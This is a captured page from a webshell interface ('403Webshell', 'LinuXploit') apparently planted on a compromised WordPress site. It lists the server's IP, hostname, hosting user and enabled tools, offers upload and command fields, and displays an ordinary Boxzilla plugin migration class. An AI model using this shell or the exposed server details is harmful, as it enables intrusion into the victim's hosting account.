403Webshell
Server IP : 66.29.153.156  /  Your IP : 216.73.216.151
Web Server : LiteSpeed
System : Linux premium322.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : lastyfjz ( 1521)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/lastyfjz/dermalaserclinic.co.uk/wp-content/plugins/boxzilla/src/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/lastyfjz/dermalaserclinic.co.uk/wp-content/plugins/boxzilla/src/admin/class-migrations.php
<?php

namespace Boxzilla\Admin;

use Exception;

/**
 *
 */
class Migrations
{
    /**
     * @var float
     */
    protected $version_from = 0;

    /**
     * @var float
     */
    protected $version_to = 0;

    /**
     * @var string
     */
    protected $migrations_dir = '';

    /**
     * @param float $from
     * @param float $to
     * @param string $migrations_dir
     */
    public function __construct($from, $to, $migrations_dir)
    {
        $this->version_from   = $from;
        $this->version_to     = $to;
        $this->migrations_dir = $migrations_dir;
    }

    /**
     * Run the various upgrade routines, all the way up to the latest version
     */
    public function run()
    {
        $migrations = $this->find_migrations();
        // run in sub-function for scope
        array_map([ $this, 'run_migration' ], $migrations);
    }

    /**
     * @return array
     */
    public function find_migrations()
    {
        $files      = glob(rtrim($this->migrations_dir, '/') . '/*.php');
        $migrations = [];

        // return empty array when glob returns non-array value.
        if (! is_array($files)) {
            return $migrations;
        }

        foreach ($files as $file) {
            $migration = basename($file);
            $parts     = explode('-', $migration);
            $version   = $parts[0];

            // check if migration file is not for an even higher version
            if (version_compare($version, $this->version_to, '>')) {
                continue;
            }

            // check if we ran migration file before.
            if (version_compare($this->version_from, $version, '>=')) {
                continue;
            }

            // schedule migration file for running
            $migrations[] = $file;
        }

        return $migrations;
    }

    /**
     * Include a migration file and runs it.
     *
     * @param string $file
     *
     * @throws Exception
     */
    protected function run_migration($file)
    {
        if (! file_exists($file)) {
            throw new Exception("Migration file $file does not exist.");
        }

        include $file;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit